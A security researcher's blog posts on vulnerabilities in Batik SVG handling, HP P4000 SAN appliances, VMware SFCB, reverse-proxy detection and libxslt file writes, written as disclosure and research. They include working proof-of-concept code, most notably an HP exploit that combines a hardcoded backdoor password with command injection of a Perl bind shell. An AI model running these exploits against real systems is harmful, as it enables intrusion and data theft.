vendredi 11 mai 2012, 17:33:58 (UTC+0200)

SVG files and Java code execution

I recently had to audit an application using the Batik framework to convert SVG files to PNG images. Given that the SVG 1.1 and SVG Tiny 1.2 specifications allow to call Java code from the SVG file and that Batik supports this feature, I had to give it an in-depth look.


The concept (you can read the links above for more details) is to link from the SVG file to a specifically crafted JAR file. DOM events will accordingly trigger execution of Java code. Some (non standardized) security restrictions may apply. Let's try to create a PoC ...


First, we need a minimalist SVG file referencing the JAR file:

$ cat - > evil.svg
<svg xmlns="http://www.w3.org/2000/svg"
        xmlns:xlink="http://www.w3.org/1999/xlink"
        version="1.0">
<script type="application/java-archive" xlink:href="http://somewhere/evil.jar"/>
<text>Static text ...</text>
</svg>
^D

Now, we need to generate the JAR. The final result should be something like that:

$ unzip -l evil.jar
Archive:  evil.jar
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2012-05-10 18:28   META-INF/
       68  2012-05-10 18:28   META-INF/MANIFEST.MF
        0  2012-05-10 17:50   com/
        0  2001-03-19 21:27   com/pwnage/
        0  2012-05-10 18:25   com/pwnage/svg/
      742  2012-05-10 18:22   com/pwnage/svg/SVGHandler.class

Creation of SVGHandler.java:

$ mkdir -p com/pwnage/svg
$ cat - > com/pwnage/svg/SVGHandler.java
package com.pwnage.svg;

import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;

import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

public class SVGHandler implements EventListenerInitializer {

    public SVGHandler() {
    }

    public void initializeEventListeners(SVGDocument document) {
        SVGSVGElement root = document.getRootElement();
        EventListener listener = new EventListener() {
            public void handleEvent(Event event) {
                System.out.println("Oh yeah, inside SVGLoad !"); // Our 31337 payload ;-)
            }
        };
        root.addEventListener("SVGLoad", listener, false);
    }

}
^D

Some specific entries are needed in the MANIFEST.MF file:

$ cat - > My_Manifest
Manifest-Version: 1.0
SVG-Handler-Class: com.pwnage.svg.SVGHandler

^D

Now compile to .class and create the JAR:

$ javac -cp /usr/share/java/xml-apis-ext.jar com/pwnage/svg/SVGHandler.java
$ jar cmf My_Manifest evil.jar com/

We are ready to test the two main tools of the Batik framwork, Squiggle the SVG Browser and SVG Rasterizer !


The default security policy in Squiggle is to execute Java code if the JAR has the same origin than the SVG file (or is embedded):



Let's put the SVG and JAR files on a remote web server and request the SVG from Squiggle. It works: the string "Oh yeah, inside SVGLoad !" is displayed to the console and we get the following Apache logs:

192.168.166.9 - - [10/May/2012:23:16:39 +0200] "GET /evil.svg HTTP/1.1" 200 811 "-" "Batik/1.7"
192.168.166.9 - - [10/May/2012:23:16:40 +0200] "GET /evil.jar HTTP/1.1" 200 2055 "-" "Java/1.6.0_26"

On the contrary, Rasterizer by default neither trigger the "SVGLoad" event or execute some Java code. The following options are needed:

$ java -jar batik-rasterizer.jar -onload -scripts application/java-archive evil.svg
About to transcode 1 SVG file(s)
Converting evil.svg to evil.png ...
Oh yeah, inside SVGLoad !
... success

TL;DR: Batik Rasterizer, used in a way similar to the export module of HighCharts.com, is safe by default. But beware if your application uses the Bridge or Swing components. And of course, do not browse untrusted SVG files using Squiggle !


EDIT: The SVG and JAR files are now available for download.


Posté par Nicolas Grégoire | permalien

vendredi 17 février 2012, 16:34:01 (UTC+0100)

Compromising HP SAN appliances

In November 2011, HP published an advisory regarding their "HP StorageWorks P4000 Virtual SAN Appliance". However, these vulnerabilities are located in the "Centralized Management Console" (CMC) daemon which is used in the full "P4000 G2 SAN" range of products (including the P4300, P4500 and P4800 physical SAN devices). This post describes the process followed to identify these vulnerabilities.


First, what is this product ? HP VSA is a virtualized SAN infrastructure for VMware ESX or Microsoft Hyper-V environments. VSA consolidates server disk drives and external storage into a single virtual iSCSI SAN. This means that if you compromise the appliance, you also compromise any data stored in the SAN ! Next, where can we find the target software ? HP proposes a full trial version here. My tests were done on version 696_10503. The version now available is 696_10537 (probably safe but untested).


We now have a working VM with the HP VSA demo. The first step is to create some administration traffic (on port TCP/1383) using the Windows client, sniff it and try to reverse the protocol in order to later fuzz it. The first packets of the exchange are the following :

00000000  00 00 00 01 00 00 00 01  00 00 00 13 00 00 00 13 ........ ........
00000010  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
00000020  52 65 71 75 65 73 74 20  74 72 61 6e 73 66 6f 72 Request  transfor
00000030  6d 73 00                                         ms.

    00000000  00 00 00 01 00 00 00 01  00 00 00 19 00 00 00 13 ........ ........
    00000010  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
    00000020  52 65 73 70 6f 6e 73 65  20 74 72 61 6e 73 66 6f Response  transfo
    00000030  72 6d 73 3a 20 58 4f 52  00                      rms: XOR .

00000033  00 00 00 01 00 00 00 01  00 00 00 13 00 00 00 13 ........ ........
00000043  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
00000053  4e 65 77 20 74 72 61 6e  73 66 6f 72 6d 3a 20 58 New tran sform: X
00000063  4f 52 00                                         OR.

    00000039  00 00 00 01 00 00 00 01  00 00 00 15 00 00 00 13 ........ ........
    00000049  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 00 ........ ........
    00000059  4e 65 77 20 74 72 61 6e  73 66 6f 72 6d 20 4f 4b New tran sform OK
    00000069  20 58 4f 52 00                                    XOR.

Based on this small exchange, we can detect a classic structure with a header followed by an ASCIIZ string.


We can suppose that the structure of the header is the following :
- the first 8 bytes are static : "00 00 00 01 00 00 00 01" (offset 0x00)
- the next 4 bytes represent the size of the ASCIIZ string (offset 0x08)
- the next 4 bytes are static : "00 00 00 13" (offset 0x0c)
- the next 16 bytes are static : "00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00" (offset 0x10)


From this point, the traffic is XOR-encoded :

00000066  00 00 00 01 00 00 00 01  00 00 00 35 00 00 00 35 ........ ...5...5
00000076  00 00 00 00 00 00 00 00  00 00 00 14 00 00 00 00 ........ ........
00000086  3e 3d 35 3b 3c 68 7d 33  36 3f 3b 3c 7d 30 30 30 >=5;<h}36 ?;<}000
00000096  30 30 30 30 30 7d 04 37  20 21 3b 3d 3c 72 70 6a 00000}.7  !;=<rpj
000000A6  7c 67 7c 62 62 70 7e 72  10 27 3b 3e 36 72 70 62 |g|bbp~r. ';>6rpb
000000B6  61 63 61 70 00                                   acap.

    0000006E  00 00 00 00 00 00 00 01  00 00 00 0a 00 00 00 00 ........ ........
    0000007E  00 00 00 00 00 00 00 00  ff ff ff ff ff ff ff ff ........ ........
    0000008E  1d 19 68 72 1e 3d 35 3b  3c 00                   ..hr.=5; <.

Note : attentive readers have probably noticed that the format of the headers is now slighlty different, in both request and response. In fact, HP VSA isn't picky at all about the format of the header, as far as the size of the content is exact.


In order to go further, we need the XOR key. Given that the first XOR-encoded packet is the login request, we sent a request with a password string of "bbbbbbbb" and looked for a repetitive pattern (see above, from offset 0x66 to 0xBA). Do you see it ?


..............


OK, we have a string of 8 x "0" (ASCII 0x30) which may match the 8 x "b" (ASCII 0x62) if the key is 1 byte long. Quick calculation : 0x30 ^ 0x62 = 0x52. Let's try to verify it by trying to decode tshark (command-line version of Wireshark) output by piping it to a minimalist Python shell like this one :

import sys
for line in sys.stdin:
        print '++ ',
        print ''.join( [ chr(ord(c) ^ 0x52) for c in line ] ) 

And it works ! ;-) We now know that our login request has the following format : "login:/MY_USER/MY_PASSSWD/Version "8.5.0"" and we can code a basic client fuzzer. After a few runs, the target process crashes while parsing overlong passwords. Debugging will reveal that sscanf() is used with fixed-length stack buffers and no length checks. The sscanf() pattern is "/%[^/]/%[^/]/%s %s" with arguments 1, 2 and 3 of size 1024. Argument 4 is smaller (<= 0x50 bytes).


A pre-authentication stack-based overflow is already a cool finding, but the disassembly will reveal something much more easy to exploit : hardcoded credentials !


This is the vulnerable call to sscanf():



The format parameter is stored in the .rodata section, and a very weird string ("L0CAlu53R") is located next to it and used in the same function:



This string is a magic password, working for every account !



Let's recap : we can exploit a pre-auth buffer-overflow and gain OS-level privileges or use the hard-coded password to gain application-level privileges. The easiest way (aka "attacker's path of least resistance") to have both would be to switch from application-level privileges (no memory corruption, 100% reliable) to OS-level privileges with another vulnerability involving manipulation of the file-system or commands execution.


So we browsed every part of the Windows client in order to explore every available feature. And we found a "Check connectivity" feature using "ping" without sanitizing the parameters.


The command has the following format :

get:/lhn/public/network/ping/<field1>/<field2>/
   <field1> : IP address of the interface from which ICMP packets are send
   <field2> : target IP address or hostname

Given that Perl is installed on the appliance, we use the classic Metasploit payload to bind a shell on port TCP/12345 :

def send_Login():
        # BACKDOOR
        data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"'
        send_packet(data)

def send_Exec():
        # METASPLOIT PAYLOAD
        cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept; \
                $~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

        # COMMAND INJECTION BUG
        data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

        # EXPLOIT
        zprint('Now connect to port 12345 of machine ' + str(HOST))
        send_packet(data)

Et voilà, mission accomplished ! We fully compromised the SAN appliance, allowing unauthorized acces to every data stored inside. Plausible next moves : reconfigure some interesting LUN, mount them and steal data (NTLM hashes, configuration files, raw database files, ...). A PoC code is available : hydragen.py.


Posté par Nicolas Grégoire | permalien

samedi 26 novembre 2011, 12:33:51 (UTC+0100)

Regarding VMSA-2011-0013 ...

Just a quick blog-post in order to publically describe some facts about the recent VMware patch for ESX and ESXi (VMSA-2011-0013) ...


I published in June 2010 two pre-authentication bugs in SFCB : one heap overflow (CVE-2010-1937) and one integer overflow (CVE-2010-2054). The first bug was silently patched by VMware in previous versions of their products and will not be discussed further. But the story behind the second one is somewhat funny ;-)


So, in June 2010, the latest available version of ESX and ESXi was 4.0. This version doesn't include a vulnerable version of SFCB. It uses v1.3.3 but CVE-2010-2054 was introduced in v1.3.4. So far so good ... But one month later, VMware ESX and ESXi 4.1 was released, including sfcbd v1.3.4 (the vulnerable one). And in October 2011, a patch was finally published.


However, the question is : is an unpatched version of ESX or ESXi 4.0 really exploitable ? I did some testing on "VMware ESXi 4.1.0 build-260247", that I'll show in details now.


First, the testing script :

$ cat cl.sh 
#!/bin/bash

XX="[==]"
IP=$1
CL=$2
SZ=$3

echo "$XX Target : $IP"
echo "$XX Claimed Content-Length : $CL"
echo "$XX Real Body Length : $SZ"
echo;

(echo "POST /cimom HTTP/1.1"; \
        echo "Content-Length: $CL"; \
        echo; \
        perl -e "print 'C'x$SZ" \
        echo; \
        ) | ncat --ssl $IP 5989

Let's go straight to the exploitable situation, using a value near UINT_MAX :

./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0

Doh, a 413 status code :-( Not the expected answer.
After some additonal testing :

$ ./cl.sh 192.168.8.2 100000000 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000000
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

$ ./cl.sh 192.168.8.2 100000001 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0

It seems that VMware uses a hard-coded value of 100.000.000 for httpMaxContentLength.
Adding "httpMaxContentLength=0" to the file /etc/sfcb/sfcb.cfg will bypass this verification and allow to crash the process :

$ ./cl.sh 192.168.8.2 100000001 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

Not an 413, this seems fine ! Now with a value near UINT_MAX :

$ ./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

And on the ESXi side :

*** glibc detected *** sfcbd: free(): invalid pointer: 0x089654f8 ***
======= Backtrace: =========
/lib/libc.so.6[0x1e07119d]
/lib/libc.so.6(cfree+0x90)[0x1e074d90]
/lib/libsfcHttpAdapter.so.0[0x1dddc3b4]
/lib/libsfcHttpAdapter.so.0[0x1dddf690]
/lib/libsfcHttpAdapter.so.0[0x1dde052e]
/lib/libsfcHttpAdapter.so.0(httpDaemon+0x133b)[0x1dde1aba]
sfcbd[0x8930f67]
sfcbd[0x8931b5c]
/lib/libc.so.6(__libc_start_main+0xdc)[0x1e01df0c]
sfcbd[0x89307b1]
======= Memory map: ========

In conclusion : by default, ESXi 4.1 doesn't seem to be exploitable. But the vulnerable code is here, and is reachable if a special value (zero) is defined for the "httpMaxContentLength" configuration entry. If you use ESX (untested), you should do your own testing or just install the patch.


Posté par Nicolas Grégoire | permalien

samedi 12 novembre 2011, 22:10:02 (UTC+0100)

Traceroute-like HTTP scanner

Side note : I just switched to writing my blog posts in english. I hope they will still be understandable ;-) My french readers are probably fine with this language and should not be negatively impacted by this change.


During some recent pentests, I used the "Max-Forwards" trick to identify some "hidden" reverse HTTP proxies. My customers were surprised by the information found and asked me a copy of the tool. I then choose to take some time to polish and release it. Btw, thanks to Julien Cayssol for the initial versions !


Some background information about the Max-Forwards trick ... The RFC 2616 (HTTP/1.1) and 3261 (SIP) define this HTTP header (resp. in section 14.31 and 8.1.1.6) :

14.31 Max-Forwards

   The Max-Forwards request-header field provides a mechanism with the
   TRACE (section 9.8) and OPTIONS (section 9.2) methods to limit the
   number of proxies or gateways that can forward the request to the
   next inbound server. This can be useful when the client is attempting
   to trace a request chain which appears to be failing or looping in
   mid-chain.

       Max-Forwards   = "Max-Forwards" ":" 1*DIGIT

   The Max-Forwards value is a decimal integer indicating the remaining
   number of times this request message may be forwarded.

   Each proxy or gateway recipient of a TRACE or OPTIONS request
   containing a Max-Forwards header field MUST check and update its
   value prior to forwarding the request. If the received value is zero
   (0), the recipient MUST NOT forward the request; instead, it MUST
   respond as the final recipient. If the received Max-Forwards value is
   greater than zero, then the forwarded message MUST contain an updated
   Max-Forwards field with a value decremented by one (1).

8.1.1.6 Max-Forwards

   The Max-Forwards header field MAY be ignored for all other methods
   defined by this specification and for any extension methods for which
   it is not explicitly referred to as part of that method definition.

   The Max-Forwards header field serves to limit the number of hops a
   request can transit on the way to its destination.  It consists of an
   integer that is decremented by one at each hop.  If the Max-Forwards
   value reaches 0 before the request reaches its destination, it will
   be rejected with a 483(Too Many Hops) error response.

   A UAC MUST insert a Max-Forwards header field into each request it
   originates with a value that SHOULD be 70.  This number was chosen to
   be sufficiently large to guarantee that a request would not be
   dropped in any SIP network when there were no loops, but not so large
   as to consume proxy resources when a loop does occur.  Lower values
   should be used with caution and only in networks where topologies are
   known by the UA.

But this is RFC, not a real life implementation. In fact, the TRACE method is often blocked at the perimeter and we need some smarter ways to identify the reverse proxies. Given my experience, using the TRACE and GET methods is in most cases sufficient to collect weird behaviors. These behaviors are then checked against a few heuristic rules in order to calculate a score. A score greater than zero indicates a possible reverse proxy.


The heuristic rules used are the following :

  • A 502 status code is returned (RFC 2616, section 14.31)
  • A 483 status code is returned (RFC 3261, section 8.1.1.6)
  • When using TRACE, the body contains the 'X-Forwarded-For' string
  • 'Via' or 'X-Via' headers are detected
  • Some fields are different between hops :
    • HTTP status codes
    • 'Server' headers
    • 'Content-Type' headers
    • 'Via' headers
    • HTML titles
    • HTML 'address' tags
    • 'X-Forwarded-For' values in body

The tool was run against the Alexa's Top 100, using the TRACE and GET methods. Some interesting results were identified and we will now examine them.


Target : www.ask.com / Method : TRACE

[==] Target URL : http://www.ask.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : Access Denied
        Hop #1 : Access Denied
        Hop #2 : Access Denied

Server:
        Hop #0 : AkamaiGHost
        Hop #1 : AkamaiGHost
        Hop #2 : AkamaiGHost

Content-Type:
        Hop #0 : text/html
        Hop #1 : text/html
        Hop #2 : text/html

StatusCode:
        Hop #0 : 403 Forbidden
        Hop #1 : 403 Forbidden
        Hop #2 : 403 Forbidden

[--] No reverse proxy

Nothing interesting was detected :-( However, if we switch to GET :

[==] Target URL : http://www.ask.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : 502 Proxy Error
        Hop #1 : Undef
        Hop #2 : Ask.com Web Search

Server:
        Hop #0 : Undef
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : text/html; charset=iso-8859-1
        Hop #1 : text/html
        Hop #2 : text/html;charset=UTF-8

StatusCode:
        Hop #0 : 502 Bad Gateway
        Hop #1 : 500 Internal Server Error
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 8

The overall score is now 8 and we can assume there's probably 2 reverse-proxies (hops #1 and #2) ! If we try 't.co', we see that TRACE is blocked. However, we have a score of 1 because of the change in 'Server' headers :

[==] Target URL : http://www.t.co:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : 405 Method Not Allowed
        Hop #1 : 405 Method Not Allowed
        Hop #2 : 405 Method Not Allowed

Server:
        Hop #0 : Apache
        Hop #1 : hi
        Hop #2 : hi

Content-Type:
        Hop #0 : text/html; charset=iso-8859-1
        Hop #1 : text/html; charset=iso-8859-1
        Hop #2 : text/html; charset=iso-8859-1

StatusCode:
        Hop #0 : 405 Method Not Allowed
        Hop #1 : 405 Method Not Allowed
        Hop #2 : 405 Method Not Allowed

[++] Found a reverse proxy, score is 1

't.co' again, now using GET :

[==] Target URL : http://www.t.co:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
        Hop #0 : Twitter / Over capacity
        Hop #1 : t.co / Twitter
        Hop #2 : t.co / Twitter

Server:
        Hop #0 : Apache
        Hop #1 : hi
        Hop #2 : hi

Content-Type:
        Hop #0 : text/html; charset=UTF-8
        Hop #1 : text/html; charset=utf-8
        Hop #2 : text/html; charset=utf-8

StatusCode:
        Hop #0 : 502 Bad Gateway
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 5

Did you notice the case mismatch between 'utf8' and 'UTF8' ? ;-) There's too some situations where internal IP or hostnames are leaked ! First example, 'typepad.com' and 10.17.*.* :

[==] Target URL : http://www.typepad.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
X-Fwd:
        Hop #0 : [Your_IP], 10.17.141.102
        Hop #1 : [Your_IP], 10.17.141.102
        Hop #2 : [Your_IP], 10.17.141.102

Server:
        Hop #0 : Apache
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : message/http
        Hop #1 : message/http
        Hop #2 : message/http

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 3

Second example, '163.com' and the host 'stcz164' listening on port 8103 :

[==] Target URL : http://www.163.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
        Hop #0 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
        Hop #1 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
        Hop #2 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)

Title:
        Hop #0 : ���
        Hop #1 : ���
        Hop #2 : ���

Server:
        Hop #0 : nginx
        Hop #1 : nginx
        Hop #2 : nginx

Content-Type:
        Hop #0 : text/html; charset=GBK
        Hop #1 : text/html; charset=GBK
        Hop #2 : text/html; charset=GBK

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 3

Third example, 'zhaopin.com' and '192.168.9.*' :

[==] Target URL : http://www.zhaopin.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
        Hop #0 : 1.0 squid91 (squid/3.0.STABLE13)
        Hop #1 : Undef
        Hop #2 : Undef

X-Fwd:
        Hop #0 : [Your_IP]
        Hop #1 : [Your_IP], 192.168.9.113
        Hop #2 : [Your_IP], 192.168.9.98

Server:
        Hop #0 : squid/3.0.STABLE13
        Hop #1 : Apache
        Hop #2 : Apache

Content-Type:
        Hop #0 : text/plain
        Hop #1 : message/http
        Hop #2 : message/http

StatusCode:
        Hop #0 : 200 OK
        Hop #1 : 200 OK
        Hop #2 : 200 OK

[++] Found a reverse proxy, score is 9

This can be used on SIP networks too, using the INVITE method and looking for HTTP 483, but I didn't test it. You can download the tool (v0.5) here. Enjoy !


Posté par Nicolas Grégoire | permalien

lundi 31 octobre 2011, 15:18:02 (UTC+0100)

xmlsec et webkit, deux vecteurs pour abuser de libxslt

Suite à l'article "Webkit + XSLT = CVE-2011-1774" publié dans le MISC HS 4 "A l'assaut du Web", voici quelques détails techniques supplémentaires sur deux vecteurs permettant d'abuser certaines fonctionnalités de libxslt : xmlsec et webkit.


 Tout d'abord, un bref rappel sur libxslt : ce moteur XSLT, développé dans le cadre du projet Gnome, contient une extension permettant de stocker dans un fichier le résultat d'une transformation XSLT. Voici à quoi ressemble un usage minimaliste de cette extension (apt-get install xsltproc).


Le fichier XML (télécharger) :

  1  <?xml version="1.0"?> 
  2  <doc>
  3  <evil>Here's the payload</evil>
  4  <normal>Something else</normal>  
  5  </doc>

Rien de particulier à dire : un champ sera affiché à l'écran (ligne 4), l'autre devant être écrit dans un fichier (ligne 3).

Le fichier XSL (télécharger) :

  1  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  2             xmlns:sx="http://icl.com/saxon"
  3             extension-element-prefixes="sx"
  4             version='1.0'>
  5    <xsl:template match="doc/evil">
  6      <sx:output href="/tmp/0wn3d" method="text">
  7          <xsl:apply-templates/>
  8      </sx:output>
  9    </xsl:template>
 10  </xsl:stylesheet>

On commence par définir deux espaces de nommage (namespace) : "xsl" qui pointe vers les fonctionnalités décrites dans la version 1.0 de la norme XSLT (ligne 1) et "sx" qui pointe vers certaines extensions propres à libxslt (ligne 2). Il est à noter que la fonction de création de fichier est appelable depuis plusieurs autres namespaces : "http://exslt.org/common", "org.apache.xalan.xslt.extensions.Redirect", "http://www.jclark.com/xt", ...

Il suffit ensuite de définir un template correspondant à notre payload (ligne 5), de rediriger la sortie vers un fichier (ligne 6) puis d'appliquer le template (ligne 7). Jusque là, c'est simple, non ? L'exécution en ligne de commande :

nico ~ > xsltproc min.xsl min.xml | hd
00000000  3c 3f 78 6d 6c 20 76 65  72 73 69 6f 6e 3d 22 31  |<?xml version="1|
00000010  2e 30 22 3f 3e 0a 0a 0a  53 6f 6d 65 74 68 69 6e  |.0"?>...Somethin|
00000020  67 20 65 6c 73 65 20 20  0a 0a                    |g else  ..|

nico ~ > cat /tmp/0wn3d | hd
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64                                             |ad|
00000012

 Essayons maintenant d'appliquer cela à xmlsec. Depuis les présentations par iSec à Blackhat en 2007, on sait que certains moteurs XML-DSIG supportent XSLT. Les bonnes pratiques ont beau déconseiller cela, on en trouve encore régulièrement dans la nature. Comme par exemple xmlsec ... Ce qui permet d'exécuter du code XSLT lors d'une vérification de signature.


Le fichier à vérifier (télécharger) :

  1 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  2   <ds:SignedInfo>
  3     <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"></ds:CanonicalizationMethod>
  4     <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"></ds:SignatureMethod>
  5     <ds:Reference URI="#Payload">
  6       <ds:Transforms>
  7         <ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments"></ds:Transform>
  8         <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
  9           <xsl:stylesheet extension-element-prefixes="sx" version="1.0" xmlns:sx="http://icl.com/saxon"
                                                          xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 10             <xsl:template match="/">
 11               <sx:output file="/tmp/0wn3d" method="text">
 12                 <xsl:apply-templates/>
 13               </sx:output>
 14             </xsl:template>
 15           </xsl:stylesheet>
 16         </ds:Transform>
 17       </ds:Transforms>
 18       <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod>
 19       <ds:DigestValue>ipbs0UyafkdRIcfIo9zyZLce+CE=</ds:DigestValue>
 20     </ds:Reference>
 21   </ds:SignedInfo>
      .....
 60       </ds:DSAKeyValue>
 61     </ds:KeyValue>
 62   </ds:KeyInfo>
 63   <ds:Object Id="Payload">Here's the payload !</ds:Object>
 64 </ds:Signature>

On définit une référence interne au document (fragment "#Payload", ligne 5) qui pointe vers un objet défini à la fin du fichier (ligne 63). On définit à l'intérieur de la référence deux transformations : une canonicalisation C14N (ligne 7) et une transformation XSLT (ligne 8). Le code de la transformation est défini des lignes 9 à 15 et est très similaire au code vu précédemment.


Lors de la vérification de signature, on obtient ceci :

nico ~ > xmlsec1 --verify xmldsig.txt
func=xmlSecOpenSSLEvpDigestVerify:file=digests.c:line=229:obj=sha1:subj=unknown:error=12:invalid data:data and digest do not match
FAIL
SignedInfo References (ok/all): 0/1
Manifests References (ok/all): 0/0
Error: failed to verify file "xmldsig.txt"
nico ~  > cat /tmp/0wn3d | hd         
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64 20 21                                       |ad !|
00000014

Ca marche ;-) Evidemment, la signature n'est pas valable, mais là n'est pas le but de cet exemple.


 Mainteant, au tour de Webkit ! Il est tout à fait possible d'utiliser les fichiers XML et XSLT vu précédemment, en ajoutant simplement au fichier XML une processing instruction indiquant au moteur où trouver le code XSLT :

<?xml-stylesheet href="min.xsl" type="text/xsl" ?>

Mais il est possible de faire mieux (utilisation de variables, code XSLT contenu dans le fichier XML, sortie en XHTML ou SVG, ...), comme documenté dans l'exploit pour Metasploit (télécharger) :

  1 <?xml-stylesheet type="text/xml" href="#fragment"?>
  2 <!-- Define the DTD of the document
  3      This is needed, in order to later reference the XSLT stylesheet by a #fragment
  4      This trick allows to have both the XML and the XSL in the same file
  5      Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
  6 <!DOCTYPE doc [
  7  <!ATTLIST xsl:stylesheet
  8  id ID #REQUIRED
  9 >]>
 10 <doc>
 11 
 12 <!-- Define location and content of the file -->
 13 <path><![CDATA[#{path}]]></path>
 14 <content><![CDATA[#{content}]]></content>
 15 
 16 <!-- The XSLT stylesheet header, including the "sx" extension -->
 17 <xsl:stylesheet id="fragment" version="1.0" 
 18   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 19   xmlns:sx="http://icl.com/saxon"
 20   extension-element-prefixes="sx"
 21   xmlns="http://www.w3.org/1999/xhtml" >
 22 <xsl:output method="xml" indent="yes" />
 23 
 24 <!-- The XSLT template -->
 25 <xsl:template match="/">
 26         <!-- Create the file -->
 27         <xsl:variable name="path" select="//path/text()"/>
 28         <sx:output file="{$path}" method="text">
 29                 <xsl:value-of select="//content"/>
 30         </sx:output>
 31         <!-- Send some output to the browser -->
 32         <html> </html>
 33 </xsl:template>
 34 </xsl:stylesheet>
 35 </doc>

La première astuce est l'utilisation d'un DTD définissant un champ "id", permettant au fichier XML de pointer vers du code XSLT contenu dans le même document. Ainsi, le DTD est défini des lignes 6 à 10, et la processing instruction (ligne 1) pointe vers un fragement défini en ligne 17. Deux variables (lignes 13 et 14) servent à recevoir les valeurs définies dans le module auxiliaire pour Metasploit. La version dédiée à Windows utilise des valeurs "en dur" permettant l'obtention d'un shell si l'utilisateur est admin de son poste (technique MOF popularisée par Stuxnet). Le code ci-dessus génère un contenu XHTML, mais pourrait tout aussi bien générer du SVG en ajoutant au document de résultat un DOCTYPE adapté :

<xsl:output method="xml" indent="yes"
   doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
